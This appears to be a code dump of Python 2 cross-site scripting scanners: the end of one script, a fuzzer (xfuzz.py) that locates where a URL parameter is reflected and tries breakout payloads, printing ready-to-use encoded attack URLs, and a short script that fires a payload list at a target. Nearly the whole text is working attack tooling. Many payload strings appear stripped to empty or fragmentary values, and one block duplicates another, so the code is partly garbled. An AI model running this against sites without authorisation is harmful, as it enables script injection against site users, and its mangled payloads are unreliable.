"
223 | ]
224 | found = False
225 | for pl in payloads_invalid:
226 | if(test_param_check(urllib.quote_plus(pl), pl)):
227 | payload = pl
228 | found = True
229 | break
230 | if(not found):
231 | payload = ""
232 | print "[-] ERROR! Cannot escape out of the attribute tag using all fuzzing payloads. Check manually to confirm."
233 |
234 | if(payload):
235 | if(payload not in LIST_OF_PAYLOADS):
236 | LIST_OF_PAYLOADS.append(payload)
237 | #print "[+] SUCCESS. Parameter was reflected in an attribute of an empty tag. Use the following payload to break out:"
238 | print "[+] " + payload + " IS POSSIBLE!"
239 | time.sleep(2)
240 | #print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
241 |
242 | def break_attr():
243 | payload = "\">" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + ">"
244 | if(test_param_check(payload,payload)):
245 | if(test_param_check(payload + "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "%20attr=\"", payload + "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\"")):
246 | payload = "\">" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "><" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\""
247 | else:
248 | if(test_param_check("\">", "\">")):
249 | clean_str = "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\""
250 | clean = test_param_check("<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "%20attr=\"", clean_str)
251 | found = False
252 | for pl in FUZZING_PAYLOADS_ATTR:
253 | if(clean):
254 | pl = pl + clean_str
255 | if(test_param_check(urllib.quote_plus(pl), pl)):
256 | payload = pl
257 | found = True
258 | break
259 | if(not found):
260 | payload = ""
261 | print "[-] After trying all fuzzing attacks, none were successful. Check manually to confirm."
262 | else:
263 | print "[-] WARNING. \"> cannot be used to end the empty tag. Resorting to invalid HTML."
264 | payloads_invalid = [
265 | "\"
",
266 | "\"",
267 | "\">",
268 | "\">",
269 | "\"<>

",
270 | ]
271 | found = False
272 | for pl in payloads_invalid:
273 | if(test_param_check(urllib.quote_plus(pl), pl)):
274 | payload = pl
275 | found = True
276 | break
277 | if(not found):
278 | payload = ""
279 | print "[-] ERROR. Cannot escape out of the attribute tag using all fuzzing payloads. Check manually to confirm."
280 |
281 |
282 | if(payload):
283 | if(payload not in LIST_OF_PAYLOADS):
284 | LIST_OF_PAYLOADS.append(payload)
285 | #print "[+] SUCCESS. Parameter was reflected in an attribute of an HTML tag. Use the following payload to break out:"
286 | print "[+] " + payload + " IS POSSIBLE!"
287 | time.sleep(2)
288 | # print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
289 |
290 | #HTML Parser class
291 | class MyHTMLParser(HTMLParser):
292 | def handle_comment(self, data):
293 | global OCCURENCE_PARSED
294 | if(XSSCHECKVAL.lower() in data.lower()):
295 | OCCURENCE_PARSED += 1
296 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
297 | raise Exception("comment")
298 |
299 | def handle_startendtag(self, tag, attrs):
300 | global OCCURENCE_PARSED
301 | global OCCURENCE_NUM
302 | global OPEN_EMPTY_TAG
303 | if (XSSCHECKVAL.lower() in str(attrs).lower()):
304 | OCCURENCE_PARSED += 1
305 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
306 | OPEN_EMPTY_TAG = tag
307 | raise Exception("start_end_tag_attr")
308 |
309 | def handle_starttag(self, tag, attrs):
310 | global CURRENTLY_OPEN_TAGS
311 | global OPEN_TAGS
312 | global OCCURENCE_PARSED
313 | #print CURRENTLY_OPEN_TAGS
314 | if(tag not in TAGS_TO_IGNORE):
315 | CURRENTLY_OPEN_TAGS.append(tag)
316 | if (XSSCHECKVAL.lower() in str(attrs).lower()):
317 | if(tag == "script"):
318 | OCCURENCE_PARSED += 1
319 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
320 | raise Exception("script")
321 | else:
322 | OCCURENCE_PARSED += 1
323 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
324 | raise Exception("attr")
325 |
326 | def handle_endtag(self, tag):
327 | global CURRENTLY_OPEN_TAGS
328 | global OPEN_TAGS
329 | global OCCURENCE_PARSED
330 | if(tag not in TAGS_TO_IGNORE):
331 | CURRENTLY_OPEN_TAGS.remove(tag)
332 |
333 | def handle_data(self, data):
334 | global OCCURENCE_PARSED
335 | if (XSSCHECKVAL.lower() in data.lower()):
336 | OCCURENCE_PARSED += 1
337 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
338 | try:
339 | if(CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS)-1] == "script"):
340 | raise Exception("script_data")
341 | else:
342 | raise Exception("html_data")
343 | except:
344 | raise Exception("html_data")
345 | if __name__ == "__main__":
346 | main()
347 |
--------------------------------------------------------------------------------
/xfuzz.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from urlparse import urlparse, parse_qs
3 | from HTMLParser import HTMLParser
4 | import urllib
5 | import urllib2
6 | import sys
7 | import re
8 |
9 | XSSCHECKVAL = "CHECKXSSHERE" #Must be plaintext word unlikely to appear on the page
10 | URL = ""
11 | NUM_REFLECTIONS = 0
12 |
13 | CURRENTLY_OPEN_TAGS = []
14 | OPEN_TAGS = []
15 | OPEN_EMPTY_TAG = ""
16 | TAGS_TO_IGNORE = ['html','body','br']
17 | TAG_WHITELIST = ['input', 'textarea']
18 |
19 | OCCURENCE_NUM = 0
20 | OCCURENCE_PARSED = 0
21 | LIST_OF_PAYLOADS = []
22 |
23 | FUZZING_PAYLOADS_BASE = [
24 | "",
25 | "",
26 | "",
27 | "",
28 | "
![]()
\">",
29 | "

"
30 | ]
31 |
32 | FUZZING_PAYLOADS_START_END_TAG = [
33 | "\"/>",
34 | "\"\/>

",
35 | "\"\/>

"
36 | ]
37 |
38 | FUZZING_PAYLOADS_ATTR = [
39 | "\">",
40 | "\">

",
41 | "'>"
42 | ]
43 |
44 | #######################################################################################################################
45 | # MAIN FUNCTION
46 | #######################################################################################################################
47 | def main():
48 | if (len(sys.argv) != 2 or XSSCHECKVAL not in sys.argv[1]):
49 | exit("Usage: python xfuzz.py
\nExample: python xfuzz.py http://site.com/?param=" + XSSCHECKVAL + "\n")
50 | global URL
51 | URL = sys.argv[1]
52 |
53 | init_resp = make_request(URL)
54 | print "[+] Loaded URL!"
55 |
56 | if(XSSCHECKVAL.lower() in init_resp.lower()):
57 | global NUM_REFLECTIONS
58 | NUM_REFLECTIONS = init_resp.lower().count(XSSCHECKVAL.lower())
59 | print "[+] Response contains parameter value! Reflected in code " + str(NUM_REFLECTIONS) + " time(s)."
60 |
61 | else:
62 | exit("[-] ERROR. Check value not in response. Nothing to test. Exiting...\n")
63 |
64 | for i in range(NUM_REFLECTIONS):
65 | print "\n############################\nTESTING OCCURENCE NUMBER: " + str(i + 1) + "\n############################\n"
66 | global OCCURENCE_NUM
67 | OCCURENCE_NUM = i+1
68 | scan_occurence(init_resp)
69 | global ALLOWED_CHARS, IN_SINGLE_QUOTES, IN_DOUBLE_QUOTES, IN_TAG_ATTRIBUTE, IN_TAG_NON_ATTRIBUTE, IN_SCRIPT_TAG, CURRENTLY_OPEN_TAGS, OPEN_TAGS, OCCURENCE_PARSED, OPEN_EMPTY_TAG
70 | ALLOWED_CHARS, CURRENTLY_OPEN_TAGS, OPEN_TAGS = [], [], []
71 | IN_SINGLE_QUOTES, IN_DOUBLE_QUOTES, IN_TAG_ATTRIBUTE, IN_TAG_NON_ATTRIBUTE, IN_SCRIPT_TAG = False, False, False, False, False
72 | OCCURENCE_PARSED = 0
73 | OPEN_EMPTY_TAG = ""
74 |
75 | print "\n##########################################\n[+] Scan complete. Full list of possible payloads:"
76 | for payload in LIST_OF_PAYLOADS:
77 | print payload
78 |
79 | print "############################################"
80 |
81 | def scan_occurence(init_resp):
82 | print "Checking for location of " + XSSCHECKVAL + "..."
83 | location = html_parse(init_resp)
84 | if(location == "comment"):
85 | print "[+] Found in an HTML comment."
86 | break_comment()
87 | elif(location == "script_data"):
88 | print "[+] Found as data in a script tag."
89 | elif(location == "html_data"):
90 | print "[+] Found as data or plaintext on the page."
91 | break_data()
92 | elif(location == "start_end_tag_attr"):
93 | print "[+] Found as an attribute in an empty tag."
94 | break_start_end_attr()
95 | elif(location == "attr"):
96 | print "[+] Found as an attribute in an HTML tag."
97 | break_attr()
98 |
99 | def html_parse(init_resp):
100 | parser = MyHTMLParser()
101 | location = ""
102 | try:
103 | parser.feed(init_resp)
104 | except Exception as e:
105 | location = str(e)
106 | except:
107 | print "[-] ERROR. Try rerunning?"
108 | return location
109 |
110 | def test_param_check(param_to_check, param_to_compare):
111 | check_string = "XSSSTART" + param_to_check + "XSSEND"
112 | compare_string = "XSSSTART" + param_to_compare + "XSSEND"
113 | check_url = URL.replace(XSSCHECKVAL, check_string)
114 | try:
115 | check_response = make_request(check_url)
116 | except:
117 | check_response = ""
118 | success = False
119 |
120 | occurence_counter = 0
121 | for m in re.finditer('XSSSTART', check_response, re.IGNORECASE):
122 | occurence_counter += 1
123 | if((occurence_counter == OCCURENCE_NUM) and (check_response[m.start():m.start()+len(compare_string)].lower() == compare_string.lower())):
124 | success = True
125 | break
126 | return success
127 |
128 | def make_request(in_url):
129 | try:
130 | req = urllib2.Request(in_url)
131 | resp = urllib2.urlopen(req)
132 | return resp.read()
133 | except:
134 | print "\n[-] ERROR Could not open URL. Exiting...\n"
135 |
136 | def break_comment():
137 | payload = "-->"
138 | if(test_param_check(payload,payload)):
139 | payload = "-->"
140 | if(test_param_check(payload + "", "-->")):
144 | clean = test_param_check("" + pl
148 | if(clean):
149 | pl = pl + " string needed to close the comment is escaped."
160 |
161 | if(payload):
162 | if(payload not in LIST_OF_PAYLOADS):
163 | LIST_OF_PAYLOADS.append(payload)
164 | print "[+] SUCCESS. Parameter was reflected in a comment. Use the following payload to break out:"
165 | print payload
166 | print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
167 |
168 | def break_data():
169 | payload = ""
170 | if("textarea" in CURRENTLY_OPEN_TAGS):
171 | payload = "" + payload
172 | if("title" in CURRENTLY_OPEN_TAGS):
173 | payload = "" + payload
174 | if(test_param_check(payload,payload)):
175 | payload = payload
176 | else:
177 | found = False
178 | for pl in FUZZING_PAYLOADS_BASE:
179 | if(test_param_check(urllib.quote_plus(pl), pl)):
180 | payload = pl
181 | found = True
182 | break
183 | if(not found):
184 | payload = ""
185 | print "[-] ERROR. No successful fuzzing attacks. Check manually to confirm."
186 |
187 | if(payload):
188 | if(payload not in LIST_OF_PAYLOADS):
189 | LIST_OF_PAYLOADS.append(payload)
190 | print "[+] SUCCESS. Parameter was reflected in data or plaintext. Use the following payload to break out:"
191 | print payload
192 | print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
193 |
194 | def break_start_end_attr():
195 | print "\n[Can tag attribute be escaped to execute XSS?]"
196 | payload = "\"/>"
197 | if(test_param_check(payload,payload)):
198 | payload = "\"/>"
199 | if(test_param_check(payload+"
", "/>")):
203 | clean = test_param_check("
cannot be used to end the empty tag. Resorting to invalid HTML."
217 | payloads_invalid = [
218 | "\">" + OPEN_EMPTY_TAG + ">",
219 | "\""
220 | ]
221 | found = False
222 | for pl in payloads_invalid:
223 | if(test_param_check(urllib.quote_plus(pl), pl)):
224 | payload = pl
225 | found = True
226 | break
227 | if(not found):
228 | payload = ""
229 | print "[-] ERROR! Cannot escape out of the attribute tag using all fuzzing payloads. Check manually to confirm."
230 |
231 | if(payload):
232 | if(payload not in LIST_OF_PAYLOADS):
233 | LIST_OF_PAYLOADS.append(payload)
234 | print "[+] SUCCESS. Parameter was reflected in an attribute of an empty tag. Use the following payload to break out:"
235 | print payload
236 | print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
237 |
238 | def break_attr():
239 | payload = "\">" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + ">"
240 | if(test_param_check(payload,payload)):
241 | if(test_param_check(payload + "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "%20attr=\"", payload + "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\"")):
242 | payload = "\">" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "><" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\""
243 | else:
244 | if(test_param_check("\">", "\">")):
245 | clean_str = "<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + " attr=\""
246 | clean = test_param_check("<" + CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS) - 1] + "%20attr=\"", clean_str)
247 | found = False
248 | for pl in FUZZING_PAYLOADS_ATTR:
249 | if(clean):
250 | pl = pl + clean_str
251 | if(test_param_check(urllib.quote_plus(pl), pl)):
252 | payload = pl
253 | found = True
254 | break
255 | if(not found):
256 | payload = ""
257 | print "[-] After trying all fuzzing attacks, none were successful. Check manually to confirm."
258 | else:
259 | print "[-] WARNING. \"> cannot be used to end the empty tag. Resorting to invalid HTML."
260 | payloads_invalid = [
261 | "\"
",
262 | "\"",
263 | "\">",
264 | "\">",
265 | "\"<>

",
266 | ]
267 | found = False
268 | for pl in payloads_invalid:
269 | if(test_param_check(urllib.quote_plus(pl), pl)):
270 | payload = pl
271 | found = True
272 | break
273 | if(not found):
274 | payload = ""
275 | print "[-] ERROR. Cannot escape out of the attribute tag using all fuzzing payloads. Check manually to confirm."
276 |
277 |
278 | if(payload):
279 | if(payload not in LIST_OF_PAYLOADS):
280 | LIST_OF_PAYLOADS.append(payload)
281 | print "[+] SUCCESS. Parameter was reflected in an attribute of an HTML tag. Use the following payload to break out:"
282 | print payload
283 | print "[+] Full URL Encoded: " + URL.replace(XSSCHECKVAL, urllib.quote_plus(payload))
284 |
285 | #HTML Parser class
286 | class MyHTMLParser(HTMLParser):
287 | def handle_comment(self, data):
288 | global OCCURENCE_PARSED
289 | if(XSSCHECKVAL.lower() in data.lower()):
290 | OCCURENCE_PARSED += 1
291 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
292 | raise Exception("comment")
293 |
294 | def handle_startendtag(self, tag, attrs):
295 | global OCCURENCE_PARSED
296 | global OCCURENCE_NUM
297 | global OPEN_EMPTY_TAG
298 | if (XSSCHECKVAL.lower() in str(attrs).lower()):
299 | OCCURENCE_PARSED += 1
300 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
301 | OPEN_EMPTY_TAG = tag
302 | raise Exception("start_end_tag_attr")
303 |
304 | def handle_starttag(self, tag, attrs):
305 | global CURRENTLY_OPEN_TAGS
306 | global OPEN_TAGS
307 | global OCCURENCE_PARSED
308 | #print CURRENTLY_OPEN_TAGS
309 | if(tag not in TAGS_TO_IGNORE):
310 | CURRENTLY_OPEN_TAGS.append(tag)
311 | if (XSSCHECKVAL.lower() in str(attrs).lower()):
312 | if(tag == "script"):
313 | OCCURENCE_PARSED += 1
314 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
315 | raise Exception("script")
316 | else:
317 | OCCURENCE_PARSED += 1
318 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
319 | raise Exception("attr")
320 |
321 | def handle_endtag(self, tag):
322 | global CURRENTLY_OPEN_TAGS
323 | global OPEN_TAGS
324 | global OCCURENCE_PARSED
325 | if(tag not in TAGS_TO_IGNORE):
326 | CURRENTLY_OPEN_TAGS.remove(tag)
327 |
328 | def handle_data(self, data):
329 | global OCCURENCE_PARSED
330 | if (XSSCHECKVAL.lower() in data.lower()):
331 | OCCURENCE_PARSED += 1
332 | if(OCCURENCE_PARSED == OCCURENCE_NUM):
333 | try:
334 | if(CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS)-1] == "script"):
335 | raise Exception("script_data")
336 | else:
337 | raise Exception("html_data")
338 | except:
339 | raise Exception("html_data")
340 | if __name__ == "__main__":
341 | main()
342 |
--------------------------------------------------------------------------------
/xss.py:
--------------------------------------------------------------------------------
1 | import requests
2 | fname = "payloads.txt"
3 | with open(fname) as f:
4 | content = f.readlines()
5 | # you may also want to remove whitespace characters like `\n` at the end of each line
6 | payloads = [x.strip() for x in content]
7 | url = raw_input("URL: ")
8 | vuln = []
9 | for payload in payloads:
10 | payload = payload
11 | xss_url = url+payload
12 | r = requests.get(xss_url)
13 | if payload.lower() in r.text.lower():
14 | print("Vulnerable: " + payload)
15 | if(payload not in vuln):
16 | vuln.append(payload)
17 | else:
18 | print "Not vulnerable!"
19 |
20 | print "--------------------\nAvailable Payloads:"
21 | print '\n'.join(vuln)
22 |
23 |
24 |
--------------------------------------------------------------------------------